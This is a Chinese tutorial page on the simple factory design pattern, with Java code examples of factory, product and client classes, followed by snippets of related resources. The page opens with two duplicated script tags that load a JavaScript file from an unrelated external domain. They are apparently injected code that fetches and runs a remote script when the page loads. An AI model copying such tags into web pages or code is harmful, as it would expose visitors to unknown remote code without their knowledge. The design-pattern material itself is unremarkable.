<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
创建模式,是对类得实例化过程的抽象化,一些系统在创建对象时,要动态的决定怎么样创建、创建哪些以及如何组合和表示这些对象。创建模式分为类得创建模式和对象的创建模式。
类得创建模式:使用继承关系,将类的创建延迟到子类,从而屏蔽客户端的得到哪些类得信息,并且隐藏了这些类的实例是如何被创建和组装的。
对象的创建模式:把对象的创建过程动态地委派给另一个对象,从而动态地决定客户端将得到哪些具体类的实例。
一:简单工厂模式
也叫做静态工厂模式,顾名思义,将由一个工厂对象决定创建出哪一种产品类的实例。
模式结构
:
工厂
--
à
具体产品,具体产品继承自抽象产品。
由工厂方法根据传入的参数决定创建哪一种产品类。
角色:
工厂类(
Creator
)角色:在客户端的调用下创建产品对象,里面包含与应用相关的逻辑
抽象产品(
Product
)角色:工厂方法创建的产品的父类,非必要角色
具体产品(
ConcreteProduct
)角色:工厂方法创建的实例
代码示例
1 , 三种角色
package com.co.patterns.simpleFactory.demo;
public interface Product {
}
package com.co.patterns.simpleFactory.demo;
public class ConcreteProduct implements Product {
public ConcreteProduct() {
}
}
package com.co.patterns.simpleFactory.demo;
public class Factory {
public static Product createProduct() {
return new ConcreteProduct();
}
}
2 , 系统中产品角色单一,省略抽象产品角色
package com.co.patterns.simpleFactory.demo;
public class ConcreteProduct {
public ConcreteProduct() {
}
}
package com.co.patterns.simpleFactory.demo;
public class Factory {
public static ConcreteProduct createProduct() {
return new ConcreteProduct();
}
}
3,工厂与抽象产品合并
package com.co.patterns.simpleFactory.demo;
public abstract class Product {
public static Product createProduct() {
return new ConcreteProduct();
}
}
package com.co.patterns.simpleFactory.demo;
public class ConcreteProduct extends Product {
public ConcreteProduct() {
}
}
4 , 合并三个角色
package com.co.patterns.simpleFactory.demo;
public class ConcreteProduct {
public ConcreteProduct() {
}
public static ConcreteProduct createProduct() {
return new ConcreteProduct();
}
}
简单工厂模式是一种非常基本的设计模式,它会在很多模式中出现。
下面是一个具有产品等级结构的例子:
package com.co.patterns.simpleFactory;
public interface Fruit {
public void plant();
public void grow();
public void harvist();
public void show();
}
public class Apple implements Fruit {
public void grow() {
System.out.println("Apple growing");
}
public void harvist() {
System.out.println("Apple harvisting");
}
public void plant() {
System.out.println("Apple planting");
}
public void show() {
plant();
grow();
harvist();
}
}
public class Grape implements Fruit {
public void grow() {
System.out.println("Grape growing");
}
public void harvist() {
System.out.println("Grape harvisting");
}
public void plant() {
System.out.println("Grape planting");
}
public void show() {
plant();
grow();
harvist();
}
}
public class FruitGardener {
public static Fruit factory(String name) throws FruitInfoException {
if ("apple".equalsIgnoreCase(name)) {
return new Apple();
} else if ("grape".equalsIgnoreCase(name)) {
return new Grape();
} else {
throw new FruitInfoException("The Fruit info is Error");
}
}
}
public class Client {
public static void main(String[] args) {
try {
Fruit f1 = FruitGardener.factory("Apple");
f1.show();
Fruit f2 = FruitGardener.factory("Grape");
f2.show();
Fruit f3 = FruitGardener.factory("Aple");
f3.show();
} catch (FruitInfoException e) {
System.err.println(e.getMessage());
}
}
}
public class FruitInfoException extends Exception {
public FruitInfoException(String msg) {
super(msg);
}
}
在工厂中可以有多个工厂方法,例如java.text.DateFormat类,它是其子类的工厂
分享到:
相关推荐
简单工厂模式是面向对象设计模式中的一种,它属于创建型模式,主要解决的是在系统中如何创建对象的问题。设计模式是软件开发中的经验总结,旨在提高代码的可重用性、可读性和可维护性。 在简单工厂模式中,一个工厂...
在这个名为“设计模式-简单工厂模式《搭积木》”的主题中,我们将深入探讨这种模式的概念、应用场景以及C#语言中的实现方式。 简单工厂模式的核心思想是通过一个公共的工厂类来创建对象,而不是让客户端直接实例化...
### 设计模式——简单工厂模式解析与应用实例 #### 一、简单工厂模式概述 简单工厂模式(Simple Factory Pattern)是一种常用的创建型设计模式。它提供了一种方式来封装对象的创建过程,使得整个系统更加灵活,...
简单工厂模式是面向对象设计中的一种经典设计模式,它属于创建型模式,主要用来解决对象的创建问题。在Java编程中,简单工厂模式通过一个中心工厂类来负责创建相关的对象,而无需让客户端代码直接new具体的产品类。...
简单工厂模式是软件设计模式中的一种,它属于创建型模式,旨在提供一个统一的接口,用来创建一组相关或相互依赖的对象。在这个例子中,我们关注的是如何使用C#语言实现这个模式,特别是在披萨店的场景下。 在披萨店...
C++设计模式-创建型模式-简单工厂模式源码
**简单工厂模式**是一种创建型设计模式,它提供了一个创建对象的接口,但允许子类决定实例化哪个类。这个模式使代码可以独立于实际的产品类进行编写。 ### 模式概念 在软件工程中,当一个类不知道它所应该创建的...
java设计模式----抽象工厂模式,简单工厂模式代码 代码内部
Java设计模式 - 简单工厂 & 工厂方法(构建工厂)源码:FactoryModel - 详情:https://blog.csdn.net/Dream_Weave/article/details/83989879
在软件设计模式中,工厂模式是一组非常基础且实用的设计模式,主要分为简单工厂模式、工厂方法模式和抽象工厂模式。这些模式都是为了解决对象创建的问题,通过封装对象的创建过程,使得代码更加灵活,易于扩展和维护...
简单工厂模式是软件设计模式中的一种基础模式,它属于创建型设计模式。在Java编程中,我们常常会遇到需要创建一系列相关或相互依赖的对象,而这些对象的创建过程可能会非常复杂。这时,简单工厂模式就提供了一种封装...
Java设计模式中的工厂模式是一种创建型设计模式,它提供了一种创建对象的最佳方式。工厂模式的核心思想是将对象的创建过程封装起来,使得创建过程独立于使用过程,从而提高了代码的可扩展性和可维护性。在HeadFirst...
描述中的“创建型模式-工厂方法模式-最简单的源码-qt工程”表明,这个压缩包可能包含了一个基于Qt框架的C++项目,该项目展示了工厂方法模式的简单应用。Qt是一个跨平台的应用程序开发框架,广泛用于GUI编程,但也...
简单工厂模式是软件设计模式中的一种基础模式,它属于创建型模式,主要解决对象的创建问题,使得代码在创建对象时更加灵活,同时也隐藏了对象的创建细节。在这个模式中,一个专门的工厂类负责创建特定类型的对象,而...
在这些模式中,工厂模式尤为突出,它是一种创建型设计模式,为对象的创建提供了抽象接口,使得代码无需直接实例化具体类,而是通过工厂方法来创建对象。 在Java编程语言中,工厂模式的应用广泛且实用。它主要分为三...
简单工厂模式是Java设计模式中创建型模式的一种,也被称为静态工厂方法模式。该模式的主要思想是由一个专门的工厂类来负责创建其他类的实例。简单工厂模式通过封装创建对象的过程,使得调用者无需关心对象的具体创建...
简单工厂模式则是创建型设计模式的另一种,它提供一个创建对象的接口,但是让子类决定实例化哪一个类。它负责创建所有可能的类的实例,一般被用来创建某一类产品。 在上述组装电脑的场景下,简单工厂模式可以帮助...